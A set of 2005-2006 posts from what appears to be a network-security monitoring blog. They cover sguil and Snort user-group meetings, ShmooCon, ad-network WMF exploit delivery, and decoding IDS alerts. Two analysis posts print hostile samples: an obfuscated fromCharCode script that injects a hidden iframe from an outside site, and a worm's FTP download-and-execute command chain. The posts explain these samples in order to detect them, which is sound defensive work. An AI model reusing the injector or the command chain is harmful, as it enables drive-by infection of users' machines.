One of the best I've seen

We all know that seemingly innocuous email can hide all manner of nasties. Somehow, we still have the misconception that "I can tell a fake when I see it." Think so? Check out this email purportedly from F-Secure.

I don't meant to gush over the efforts of malware writers, but this is one of the best email social engineering attempts I've ever seen. The email is well written and literate. It purports to address a legitimate problem and offers assistance in solving it. More importantly, it triggers almost none of the usual heuristics users use to identify malicious email. The sender has even chosen the spoofed "From:" address carefully, so as to allay any fears that there might be a unwelcome payload. Who could possibly expect bad things from one of the world's leading anti-virus companies?

I say these things not to praise the spammers (who are, after all, greedy scumbags), but to point out that the bar for this sort of attack has been raised. Are your users prepared for this?

John 1.7 released

If you follow such things, John the Ripper 1.7 is out. There are some pretty big-looking performance increases over the 1.6 release, so this is probably worth looking into if you need to crack passwords.

Fight back with StopBadware.org

I ran across this USAToday article that introduces a new idea in the fight against adware, spyware and other deceptive software distribution practices: public shaming. StopBadware.org is a clearinghouse for reports of software distributed with pernicious "extras".

The site is run as a cooperative venture between Harvard's Berkman Center for Internet & Society, The Oxford Internet Institute and Consumer Reports WebWatch. Before downloading software, users can check StopBadware.org to see what they're really getting along with that elf-bowling game. It's a community-driven effort that relies on users to submit reports for inclusion in the database, so there are no listings yet (it just opened up today).

This is a fabulous idea. Most legitimate software distributors would be loath to see themselves listed on this site, and maybe it will spur them to clean up their act. However, the best thing about this site is their set of guidelines for software publishers. It reads very much like a software downloader's "bill of rights". For example, clause #2 states:

2. Prohibited Behavior. An application must not engage in deceptive, unfair, harassing or otherwise annoying practices. For example, an application must not:
            (a) use an end user's computer system for any purpose not understood and affirmatively consented to by the end user. This includes: for purposes of consuming bandwidth or computer resources, sending email messages, launching denial of service attacks, accruing toll charges through a dialer or obtaining personal information from an end user's computer such as login, password, or other account information;
            (b) intentionally create or exploit any security vulnerabilities in end user computers to cause the computer to malfunction;
            (c) trigger unwanted pop-ups, pop-unders, exit windows, or similar obstructive or intrusive functionality, that materially interfere with an end user's Web navigation or browsing or the use of his or her computer;
            (d) repeatedly ask an end user to take, or try to deceive an end user into taking, a previously declined action (such as repeatedly asking an end user to change his or her home page or some other setting or configuration);
            (e) redirect browser traffic away from valid DNS entries. (Except for applications that direct unresolved URLs to an alternative URL, provided that the destination page adequately informs the end user of the source of that page); or,
            (f) interfere with the browser default search functionality. (Except that an application may permit an end user to change his or her default search engine with proper disclosure, consent and attribution).

Here's a simple list of 6 things that software should never do, yet we see examples of each behavior every day. If software publishers stuck to this list, there would be no need for StopBadware.org. Until they do, though, you know where to look before downloading.

Notes from the ISSA/Infragard/ASIS Combined Meeting

Our local chapters of the ISSA, Infragard and ASIS are doing something smart: they're teaming up for quarterly joint meetings. I attended their first joint meeting this evening, and was impressed.

The first order of business after dinner was a brief introductory talk by the new SAC in charge of the local (Norfolk, VA) FBI field office, SAC Cassandra Chandler. SAC Chandler only spoke for about five minutes, but she had the audience in the palm of her hand. Infragard is an FBI-sponsored organization, and she emphasized the value that the organization provides to its members and to the FBI. I was very pleased that she pledged not only to continue to support the local chapter, but also to increase the level of support over time. By the end of her pep talk, I was ready to join myself!

The second speaker was Mr. Ron Kidd from the Regional Organized Crime Information Center in Nashville, TN. The ROCIC is one of several law enforcement related agencies that are cooperating on a project called the Automated Trusted Information Exchange (ATIX). ATIX is like a community of first responders from various government and industry first responders who get together to share information related to their particular professional "community". The idea is to help these responders prepare for disasters (natural or otherwise) by helping them keep up-to-date on current happenings that affect their field. For example, there's an ATIX community for public utilities, one for fire and rescue, etc. There was even one for the agricultural sector, with the sample page showing an article on agroterrorism.

ATIX provides its members a secure forum for posting news, information, links, articles, emails and other information of interest to first responders. Think "Internet Storm Center meets Wikipedia". A good idea, though it seems onerous to get to (you need their special access software, no doubt Windows-only) and, as the comparison to Wikipedia implies, there is essentially no fact-checking done for the information submitted by users. Still, there are useful features, like the page where you type in any cargo container ID number and it tells you the contents.

The theme for the evening was that we need more information sharing among the good guys. I agree wholeheartedly, but I was left wondering "Where are the people who make it all happen?" Our local ISSA, ASIS and Infragard chapters seem to be very management heavy, but light on the technical folks who can actually understand the issues and are in positions to do something about them. That's regrettable, and makes me wonder if these groups are having as much effect as they could.

On a side note, I did score this cool medallion from a friend of mine at the Navy Network Warfare Command, in return for a tour of our facilities. He's one of the people who "make it all happen", so I'm glad he goes to these meetings. Now if we can only get a few more like him to get out there and do some of that other kind of networking, we might have a shot at keeping ahead of the Bad Guys.

February HRSUG Meeting Announcement

The February meeting of the Hampton Roads Snort Users' Group (HRSUG) will be held at 7:00PM, Wednesday February 8th. We're fortunate enough to have Sourcefire's Judy Novak as our guest speaker. I've included Judy's bio and presentation abstract below. She literally "wrote the book" on Intrusion Detection, so I know you won't want to miss her presentation!

Date:  8 Feb 2006
Time:  7:00PM
Place: Williamsburg Regional Library
       515 Scotland Street
       Williamsburg, VA
       (757) 259-4040

Judy Novak's Bio
Judy Novak is a research engineer on Sourcefire's Vulnerability Research Team where she mangles packets for fun and research. She is the co-author of "Network Intrusion Detection". She has written and still maintains SANS "Intrusion Detection In-Depth" courseware. She has several patents pending for work performed at Sourcefire in passive operating system detection and target-based identification of fragmentation and TCP stream reassembly.

Presentation Abstract
Judy's presentation, entitled "Target-BasedTCP Stream Segment Overlaps", discusses current research and future functionality of Snort's upcoming stream5 TCP preprocessor. She will demonstrate how overlapping TCP segments can be used to identify a remote operating system by crafting packets using a tool known as scapy. This talk assumes the audience has a basic understanding of TCP.

ShmooCon 2006 Wrap Up

Having recently returned from ShmooCon 2006 (and having further spent most of yesterday resting and recovering), here's my brief writeup: "Go next year."

Ok, here's my slightly less brief writeup. I arrived around 1:00PM Friday. Giant kudos to the registration team, who checked me in without delay. In fact, they checked in nearly everyone without delay, thanks to the nifty bar codes they emailed to the registered attendees. Print it out, scan it and get a conference bag. It was great. What was even better about it was that the badges had no name tag. They were just (sharp) metal access tokens, and if you had on around your neck, you were in. Good for anonymity, though a little annoying at times when I think I should know someone's name, but don't.

I don't want to give a blow-by-blow account, because

1. that's boring
2. others have done it better
3. it's still boring

I would like to mention several of my favorite presentations, though, in roughly chronological order.

First, Dan Moniz and Patrick Stach presented their work on creating an exhaustive rainbow table for LANMAN ("Breaking LanMan Forever"), which was a little math-y but in the end they've made the results available. The good thing about this is that by going for a guaranteed complete coverage instead of a statistical coverage, they reduced the number of tables you have to search through to find password hashes, and avoiding the overlap speeds things up a lot. Good job guys.

Second, Acidus' talk on "Covert Crawling" (a spider that is indistinguishable from a set of human visitors) was pretty fun. Nothing terribly high-tech, but he's thought through a lot of the problems and solved most of them. Should be good code when it's released.

Dan Kaminsky's talk on "Black Ops of TCP/IP 2005.5" was, of course, stellar. IP fragmentation timing attacks. Genius.

I also enjoyed Lasse Overlier and Paul Syverson's talk on detecting hidden services in Tor, and the upcoming countermeasures to these attacks. Makes me want to go right out and hide something!

Deviant Ollam's lockpicking talk scared the hell out of me, and I've pretty much sworn off all locks by now. Only trained attack dogs for me from now on.

And of course, the highlight of the con was Johnny Long's "Hacking Hollywood" presentation. The image of hackers and hacking in the movies has always fascinated me, and it was nice to see such an informed send-up. Hillarious and timely. I can't wait for the video to be released!

So, this was my first ShmooCon, but it won't be my last!

PS. Richard Bejtlich and I did a talk on sguil. It went well, I thought. In case you were wondering.

January HRSUG Meeting Reminder

I'd like to remind everyone that the January meeting of the Hampton Roads Snort Users Group (HRSUG) will be held this Wednesday, January 11th at 7:00PM. This will be an important meeting, since we will open the nominations for the positions of Chair and Vice Chair. These are light-duty positions, mostly consisting of filling out the library's reservation sheets every month to get the meeting room and helping to arrange for a presentation. Please consider nominating yourself or another member for one of these positions.

As for a technical presentation, I will be demoing sguil, an open source Network Security Monitoring (NSM) tool. Sguil incorporates NIDS information (snort), network session data and packet logging into a single analyst console/research tool. I'll be showing how sguil can help you save time, save money and improve your detection program at the same time. Part of the presentation details exactly how I used sguil to investigate an attempted WMF exploit being delivered by popup ads. If the Internet connection works out, we can even do a live demo.

Location details are below. Hope to see you there!

Date:  11 Jan 2006
Time:  7:00PM
Place: Williamsburg Regional Library
       515 Scotland Street
       Williamsburg, VA
       (757) 259-4040
       Meeting room B

Sguil at ShmooCon 2006

Going to ShmooCon 2006 next week? So is sguil! Fellow sguil project member Richard Bejtlich will present sguil in a talk entitled Network Security Monitoring with Sguil. As part of this session, Richard has invited me to present a case study on how I used sguil to investigate my recent WMF exploit attempt. Should be a lot of fun!

How to pwn a million computers without breaking a sweat

There has been a lot of discussion about the Microsoft WMF vulnerability recently, and I frankly don't feel that I have much to add. You're either already taking preventative measures, you're awaiting the patch, or both. But I came across a particular infection attempt today which, while not unusual, is a good example of how an exploit for this sort of vulnerability could get delivered to a victim's PC even without them necessarily doing anything "risky". It happens to involve a WMF file, but I've seen it in the past with other types of image-related vulnerabilities as well.

IMPORTANT SAFETY NOTE: This information is based on an actual incident. I have obscured the names of most of the systems involved in part to protect the reputations of their owners, but mostly to prevent people from trying to click on them.

The scenario begins as the user (we'll call him Fred) is browsing through a popular website, in this case MySpace.com, but really it it wasn't involved in the attack itself. I only include it here because it's the start of the "web session" the user was involved in, and so it also seemed like a logical place to pick up the narrative.

In case you don't have a teenager, MySpace is a free online community that's insanely popular <old_fart>amongst the youth of today</old_fart>. It's kind of like a cross between a free website host, a blog and IM all rolled into one. The point is that each MySpace user gets their own web page/blog/buddy list/chat board page to do with as they wish. Other registered MySpace users can post messages of their own on the page when they visit, and these are automatically tagged with the visitor's name and personalized photo or icon. Later, when someone views the comments, any of the posters who happen to also be using MySpace at the time will also have a special "online" indicator displayed beside their name.

All these messages, icons and status indicators are user-customizable, and this drives many people to learn some basic HTML. Of course, if you don't feel like learning HTML, you can go to any number of websites that will generate HTML on the fly for you to paste into your own web pages.

So Fred was viewing someone's MySpace page, and apparently one of the posters was online at the time. That caused their "online status" icon to be displayed along with their name, and apparently this was linked back to one of these HTML helper websites, from which it had originally been generated. We'll call the site HTMHelper (not the real name, but the exact site isn't important either).

Here's where it starts to get interesting.

HTMHelper has many pages and is quite extensive. To help support this service, the site owners have made deals to display ads from several ad distribution companies. The HTMHelper page contained a small bit of JavaScript code to generate "pop under" ads (like popups, but they appear under your browser window so you don't see them until later). The ad provider, let's call them cash4popupads.com, is part of a whole
chain of (often sleazy) ad brokers, and it's quite common for ad brokers to get ads from other ad brokers, who got them from other ad brokers, who get them from... you get the idea. Ultimately, there is an individual who registers with one of these ad distribution services, but there are usually several levels between the person
placing the ads and the service that eventually places it on a web page where you'll see it.

In this case, cash4popupads displayed a popunder window that contained nothing but a redirection to the real ad, hosted on a server operated by a site we'll call spf99.biz. Technically, it was an invisible 1 pixel square IFRAME, but you get the idea. cash4popupads was just the conduit, while spf99 served the ad itself.

Spf99 is registered in Herndon, VA, by the way. It doesn't make any difference to this story, but it's an interesting fact. There are a lot of government and government contractors in that area, since it's basically part of the whole Washington DC/Northern VA megalopolis, but that could just be a geographical coincidence. I have no way of knowing, but it did make me wonder.

Spf99 served up the actual infected file, "/tape/XXXXX101.wmf". Their internal tracking number indicates that this file was supplied by customer number 101 ("affiliate=101" was part of the URL). I don't know who affiliate 101 is, and it could very well be another ad distribution company.

In case you missed the implication, ad services don't work for free. Everyone along the way has to take a cut from every ad delivery and/or clickthrough. This means that whoever supplied the file had enough money to pay for it to be widely distributed through the various levels of the ad networks.

If you've followed the security news through 2005, you'll know that the lone hacker is on the way out, and nation states and organized crime are where the serious hacking is going on now. This is a good example of that trend. In the past, someone would get a website with a free hosting provider and then try to get people to visit their site by sending spam, posting to discussion forums or using some similar technique. That's inefficient, so now they just pay ad networks to distribute their exploits for them. They don't do this unless they're expecting a healthy return on their investment, of course.

Anyway, I thought this might be an interesting peek into the seamy side of exploit distribution, and quite timely too, since we've recently been discussing this particular exploit. Hope you enjoyed it.

Update 2006-01-05 06:49:00
I should have mentioned this before, but all this analysis was made possible by sguil. A Snort alert tipped me off to the exploit attempt itself, and I generated an ASCII session transcript from the packet logs to verify it. I was then able to search through all network sessions involving the target machine around that time, and used additional transcripts of those sessions to establish the chain of events leading up to the exploit attempt itself. I even recovered the WMF file from the packet logs and was able to search network sessions for the download server listed within, which was a great way to verify that the exploit had not been successful. Network Security Monitoring to the rescue!

ISC is getting cranky

Judging by their latest entry, the Internet Storm Center is experiencing just a little frustration over the whole Microsoft WMF thing. I can't say that I blame them at all, I just think it's amusing, and Microsoft's response to the whole thing has been a farce.

Sguil is not a SIM

While catching up on the mailing list traffic I skipped over the holidays, I read this post on DailyDave. The email deals with SIM technology, specifically the feasibility of a good Open Source SIM. The section below (by Anton Chuvakin) caught my eye:

IMHO, Sguil follows a wrong model, since it requires a smart analyst in front of the console, something that most companies likely won't afford.

I don't want to start a fight, but I've been seeing a lot of recent references implying that sguil is a SIM, or that it competes with/replaces SIMs. That could not be further from the truth. Here's the reply I sent to the mailing list:

Don't confuse sguil with a SIM. SIM implies a level of aggregation and automation that is not appropriate for this type of Network Security Monitoring (NSM) tool. Although there are superficial similarities, they're not intended for the same purpose.

Sguil is simply a research tool for a number of specialized databases (starting with NIDS, session and pcap data). It relies on a trained analyst simply because it's not possible to do otherwise. The Bad Guys are smart, and their capacity for underhandedness far exceeds the ability of software to detect or respond. Trained security personnel are indispensable not only for their ability to detect misuse, but also for their reasoning skills and their investigatory capacity. These are the sorts of operations sguil is designed to support.

If you want to talk about following the wrong model, trying to replace trained security personnel with a software solution is pretty high up on the list.

My fellow #snort-gui channel monkey jofny also had this to say:

A SIM's job is to present analysts with event combinations of interest which are unusual or otherwise show additional evidence of being worth investigating beyond what is presented by individual sensors/events

This is entirely correct, and it really points to the difference between NSM and SIM. Although a SIM might tip you off about a possible problem, you need an dedicated NSM solution (like sguil) to support a more detailed analysis. This implies that it's quite possible, and maybe even desirable, to run both SIM and NSM solutions in a complementary fashion.

I hope this clears things up a bit.

Update 2006-01-03 13:13: TaoSecurity has picked this up, too. I especially like the detailed comment someone left.

Decoding JavaScript document.write() alerts

I got some good feedback on my previous post about decoding HTTP challenge/response alerts, so I thought I'd try again. This time, the topic is decoding JavaScript document.write() alerts.

JavaScript includes a method for a script to modify the current web page (the "document"). The document.write() function call is used to add new content to the page, and this can also add new JavaScript code to be executed. This is a common obfuscation technique, often intended to make it more difficult for analysts or NIDS systems to detect qustionable content.

Here's an example to show what this looks like in the real world:

document.write(String.fromCharCode(60,115,
99,114,105,112,116,32,108,97,110,103,117,
97,103,101,61,34,74,97,118,97,83,99,114,
105,112,116,34,32,116,121,112,101,61,34,
116,101,120,116,47,106,97,118,97,115,99,
114,105,112,116,34,62,60,33,45,45,13,10,
100,111,99,117,109,101,110,116,46,119,
114,105,116,101,40,39,60,105,102,114,97,
109,101,32,115,116,121,108,101,61,34,100,
105,115,112,108,97,121,58,110,111,110,
101,34,32,119,105,100,116,104,61,34,49,
34,32,104,101,105,103,104,116,61,34,49,34,
32,102,114,97,109,101,98,111,114,100,101,
114,61,34,48,34,32,115,99,114,111,108,108,
105,110,103,61,34,78,111,34,32,115,114,99,
61,34,104,116,116,112,58,47,47,115,46,101,
117,119,101,98,46,99,122,47,39,43,40,40,40,
110,61,77,97,116,104,46,102,108,111,111,
114,40,52,53,42,77,97,116,104,46,114,97,110,
100,111,109,40,41,41,41,60,53,41,32,63,32,39,
115,116,101,112,39,43,40,110,43,50,41,43,39,
46,112,104,112,39,32,58,32,39,101,110,103,
105,110,101,115,46,112,104,112,63,110,111,
61,39,43,40,110,45,52,41,41,43,39,34,62,60,
47,105,102,114,97,109,101,62,39,41,59,13,10,
47,47,45,45,62,60,47,115,99,114,105,112,116,62));

Notice the "String.fromCharCode()" function. That's the key to deciphering this. Each of the numbers in the list is just the decimal ASCII code of the corresponding character in the script that this is intended to create.

Once you realize how this works, reconstructing the script itself is trivial. I usually use the following perl command line, then cut and paste just the ASCII list into its standard input, like so (my input is in bold):

% perl -e 'while(<>) { @list = split /,/; grep {print chr($_);} @list; }'
60,115,99,114,105,112,116,32,108,97,110,
103,117,97,103,101,61,34,74,97,118,97,83,99,
114,105,112,116,34,32,116,121,112,101,61,34,
116,101,120,116,47,106,97,118,97,115,99,114,
105,112,116,34,62,60,33,45,45,13,10,100,111,
99,117,109,101,110,116,46,119,114,105,116,
101,40,39,60,105,102,114,97,109,101,32,115,
116,121,108,101,61,34,100,105,115,112,108,
97,121,58,110,111,110,101,34,32,119,105,100,
116,104,61,34,49,34,32,104,101,105,103,104,
116,61,34,49,34,32,102,114,97,109,101,98,
111,114,100,101,114,61,34,48,34,32,115,99,
114,111,108,108,105,110,103,61,34,78,111,
34,32,115,114,99,61,34,104,116,116,112,58,47,
47,115,46,101,117,119,101,98,46,99,122,47,39,
43,40,40,40,110,61,77,97,116,104,46,102,108,
111,111,114,40,52,53,42,77,97,116,104,46,114,
97,110,100,111,109,40,41,41,41,60,53,41,32,
63,32,39,115,116,101,112,39,43,40,110,43,50,
41,43,39,46,112,104,112,39,32,58,32,39,101,
110,103,105,110,101,115,46,112,104,112,63,
110,111,61,39,43,40,110,45,52,41,41,43,39,
34,62,60,47,105,102,114,97,109,101,62,39,
41,59,13,10,47,47,45,45,62,60,47,115,99,
114,105,112,116,62

I've omitted the actual output here, since it would be JavaScript and I don't want to load the code into your browser by accident, but feel free to try this on your own and see what JavaScript nuggets you can dig up.

China refutes hacking charges

I mentioned Titan Rain several months ago, but it's back in the press again, mostly because Allan Paller is using it to flog the new SANS Technology Institute.

No matter. It's news again, and this time China is coming out with a stunning defense. From The Standard:

"We have clear stipulations against hacking. No one can use the Internet to engage in illegal activities," foreign ministry spokesman Qin Gang told a regular briefing Tuesday.

"The Chinese police will deal with hacking and other activities disturbing social order in accordance with law."

I also enjoyed this quote:

"I'm not sure about the American accusations," Qin said.

"If they have proof, they should tell us."

Now, I'm not saying that I think the Chinese government is sponsoring this. I'm also not saying that I think they're innocent. The fact is, we don't know. Despite Paller's ludicrous assertion that these attacks could only have been executed by a military organization, the fact is that their origin is still a mystery, at least in the open press.

So what is my point? Simply that, while we don't know for sure, I do find it very plausible that the Chinese government is behind these attacks, either directly or indirectly. China has a long history of espionage. There's a very thorough book, The Tao of Spycraft: Intelligence Theory and Practice in Traditional China that documents this in detail.

Denials count for nothing. If the Chinese government wants us to believe they're not behind the attacks, they should help us investigate and find the attackers. Until that happens, we have to assume that China could in fact be behind the attacks.

January HRSUG Meeting Announcement

The January meeting of the Hampton Roads Snort Users Group (HRSUG) will be held on Wednesday, January 11th at 7:00PM. This will be an important meeting, since we will open the nominations for the positions of Chair and Vice Chair.

As for a technical presentation, I will be demoing sguil, an open source Network Security Monitoring (NSM) tool. Sguil incorporates NIDS information (snort), network session data and packet logging into a single analyst console/research tool. I'll be showing how sguil can help you save time, save money and improve your detection program at the same time.

Location details are below. We had a good turnout for the last meeting, and I hope this one will be even better. See you there!

Date:  11 Jan 2006
Time:  7:00PM
Place: Williamsburg Regional Library
       515 Scotland Street
       Williamsburg, VA
       (757) 259-4040
       Meeting room B

Some InstantNSM love

Thanks to my friend and fellow sguil user Geek00L for showing some love to my Network Security Monitoring project, InstantNSM. It's my attempt to make sguil easier to deploy. If you've been scared off by the complexity of NSM, check it out and let me know what you think.

Sguil 0.6.0p1 Released

Ok, it turns out there was a fairly serious "crash-the-server" bug in the 0.6.0 release. If you're using that, you should probably upgrade to 0.6.0p1 immediately.

Decoding "Challenge/Response Authentication" alerts

If you're using Snort for IDS operations and have downloaded the BLEEDING-EDGE rules, you've probably noticed a lot of alerts called "BLEEDING-EDGE VIRUS HTTP Challenge/Response Authentication". This type of alert may seem quite mysterious, but in reality, this is most likely worm traffic (see the ISC Handler's Diary entry on the subject).

If you look at an ASCII transcript of the traffic (thanks, sguil!), you'll see something like the following:

GET / HTTP/1.0
Host: 192.70.245.110
Authorization: Negotiate IQegYGKwYBBQUCoIIQbjCCE[...]
RERERERERERERERERERERERERERE==

So what is this traffic? Well, IIS allows a client to negotiate the type of HTTP authentication scheme, which is the purpose of the "Authorization: Negotiate" line (more info on this capability can be found here and here). Unfortunately, there is a buffer overflow in some versions of this facility, which could allow the remote execution of arbitrary code. That's what all that extra junk at the end of the request is.

The overflow is encoded in Base64 (as per the Negotiate protocol). Want to unencode it and see what's there? Easy! On my Linux box, I used the following Perl command to set up a simple decoder, then cut-and-pasted the ASCII text into the window.

perl -e 'use MIME::Base64; $line = <>; chomp($line); $out = decode_base64($line);print "\n\n$out\n";' | & less

What you'll see is a bunch of junk, mostly buffer padding and shellcode, but with some plaintext commands visible in the middle. The exact commands vary a bit depending on exactly what code is attacking you, but they usually look similar to this:

cmd /k echo open 192.168.1.101 15801 > o&
echo user 1 1 >> o &echo get servic.exe >> o &
echo quit >> o &ftp -n -s:o &del /F /Q o &
servic.exe

See what that does? It creates an FTP script to log in to a remote host and fetch a file. Then it runs FTP with that script to actually download the infection code, and runs it. It's even sharp enough to delete the temporary FTP script.

One interesting thing to note is that it seems to use the attacking host's IP address, which in this case was probably behind some sort of NAT firewall, so this would have failed to spread the infection even if we had been vulnerable.

Anyway, now you know.

Sober worm pulls an interesting trick...

Check out this article from F-Secure's blog. According to it, Sober.Y has an ingenious method for "calling home" to download updates that resists efforts to block or shut down the URLs it uses.

According to the article, the worm tries to download its updates from URLs which are calculated in part based on the date. The actual URLs themselves aren't registered, but when the owner of the worm wants to send out an update, he simply calculates the day's URL, registers it, and places his content there for download.

It's a bit harder to shut things down if they don't exist yet, but fortunately the F-Secure guys reverse engineered the algorithm, which lets them predict the URLs too. They were apparently the ones who tipped off the German police, who in turn issued a statement last month on the subject.

Neat idea on the part of the author, but now that the algorithm is known, I guess it won't do him as
much good as he had hoped.

The other gift that keeps on giving

That's the gift of security, of course. Why not take a tip from this Computerworld column and choose Christmas gifts that promote good security practices as well?

If you were writing this list, what you would you include?

December HRSUG Meeting Report

As both of you who read my blog know, last Thursday was the December HRSUG meeting. Jason Brvenik and Jennifer Steffens from Sourcefire attended our inaugural meeting, as did several members of the local security community.

We started out by discussing some organizational matters, and found that everyone was interested in meething on a monthly basis. Until people get to know each other at least a little bit, we've decided to defer electing officers. Nominations will be taken at the January meeting, with an election to be held in February. In the meantine, we can use the mailing list to introduce ourselves.

With introductions and administrative matters out of the way, Jason gave a talk about the advantages of target-based IDS. The idea is that the more you know about your network, the better you can protect it. In the IDS world, this means that you can provide more accurate detection and perhaps boost performance by telling Snort more about the targets (hosts) on your network. Jason discussed the upcoming snort configuration language changes as well as some neat new realtime updating capabilities for loading new configuration into a running snort process. Expect to see these new features rolled out in stages between now and 2007.

Our presentation was followed by an optional "offsite networking event" which was also quite successful.

In short, I think a good time was had by all. Thanks for everyone who showed up, and I'm looking forward to an even better meeting for January! Stay tuned!